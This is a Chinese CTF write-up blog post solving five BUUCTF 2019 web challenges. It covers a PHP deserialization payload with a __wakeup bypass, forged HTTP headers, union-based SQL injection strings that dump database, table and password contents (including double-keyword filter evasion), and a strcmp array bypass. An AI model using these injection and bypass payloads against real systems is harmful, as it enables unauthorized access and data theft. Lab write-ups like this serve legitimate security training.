BUUCTF_极客大挑战 2019_2

PHP

进入题目之后,提示我们存在备份文件,扫出来www.zip
里面存在class.phpindex.phpflag.php
index.php
class.php
这些就说明这是个反序列化的题目了,分析下代码,我们需要让username=admin,而且password!=100,先序列化。

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"%Namepassword";i:100;}

这里注意到Nameusername只有12个字符,而前面显示有14个,这是因为当成员变量是私有的时候,会在成员变量前面添加类名;当成员变量是被保护的时候,会在被保护成员前面添加一个,并且,所添加的类名或者的左右两边都会有一个null字节,因此,这两个长度都增加了2。这里的wakeup通过属性个数的值大于其真实值即可 绕过,于是构造payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag。

PS
private的成员变量被反序列化后变成 %00Name%00username。
public的成员变量不变,仍为username。
protected的成员变量变成 %00*%00username。

Http

进入题目,查看源码,发现Secret.php

访问。

于是伪造referer

然后

于是更改User-Agent为Syclover。

接着

于是XFF伪造,得到flag

LoveSQL

SQL注入题,进入题目,万能密码登陆成功,于是判断是字符型注入。

接着用order by来判表有几个字段,当 order by 4时,报错,于是判断有3个字段。

接着使用union查询,查询所用数据库名,此时输入的内容为

用户名:admina' union select 1,2,database()#
密码:123


接着列出所有的数据库,此时输入内容为

用户名:admina' union select 1,2,group_concat(schema_name)from information_schema.schemata#
密码:123

得到所有的数据库名

猜测flag在test里面,所以先看test数据库里面的表名,此时输入内容为

用户名:admina' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='test'#
密码:123

但是显示没有任何的表,于是查看geek数据库的表,此时输入内容为

用户名:admina' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='geek'#
密码:123

发现里面存在两个表

查看l0ve1ysq1表里面的字段名,此时输入的内容为

用户名:admina' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
密码:123


接着查看这些字段的内容,此时输入内容为

用户名:admina' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1#
密码:123

ctrl+f搜索flag,找到flag

BabySQL

SQL注入题,进入题目,万能密码登陆失败,这个时候输入的内容为

用户名:admin'or 1=1#
密码:123

报错显示or被过滤掉了,于是双写or

用户名:admin'oorr 1=1#
密码:123

登录成功

接着用order by来判表有几个字段,也同样的道理,发现by被过滤了,于是输入内容为

用户名:admin' oorrder bbyy 1# //写成oorder是因为or被过滤了
密码:123

order by 4时,报错,于是判断有3个字段。
接着使用union查询,查询所用数据库名

用户名:admina' uniunionon seselectlect 1,2,database()#//这里双写和上面同样原因,发现被过滤了
密码:123


接着列出所有的数据库名

用户名:admina' uniunionon seselectlect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata#
密码:123


接着查看ctf数据库里面有哪些表

用户名:admina' uniunionon seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere  table_schema='ctf'#
密码:123

发现存在Flag表

接着查询Flag表里面的字段

用户名:admina' uniunionon seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='Flag'#
密码:123

被骗了,里面没有内容

接着查询geek表里面的表

用户名:admina' uniunionon seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere  table_schema='geek'#
密码:123


接着查询b4bsql表的字段

用户名:admina' uniunionon seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#
密码:123


接着查看这些字段的内容

用户名:admina' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#
密码:123

ctrl+f,发现flag

BuyFlag

进入题目,发现BuyFlag页面

发现说我们满足已上条件才可以买到flag,查看源码,发现

这个可以通过password=404a绕过,但是学生不知道在哪认证,抓个包,发现有个user=0

这个应该就是判断你是不是学生了,修改成user=1即可,接着构造这样的payload

说我们的Nember的长度太多了,也就是money的值太长了,但是必须又要这么多钱才可以买得到,输入钱少的时候又说

那怎么办呢,猜测后端应该是用strcmp函数进行钱的判断,但是这个函数存在一个漏洞,当这个函数接受到了不符合的类型(非字符串类型),这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0!也就是虽然报了错,但却判定其相等了,可以通过一个数组或者一个object绕过,于是我们构造money[]=1进行绕过,得到flag。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值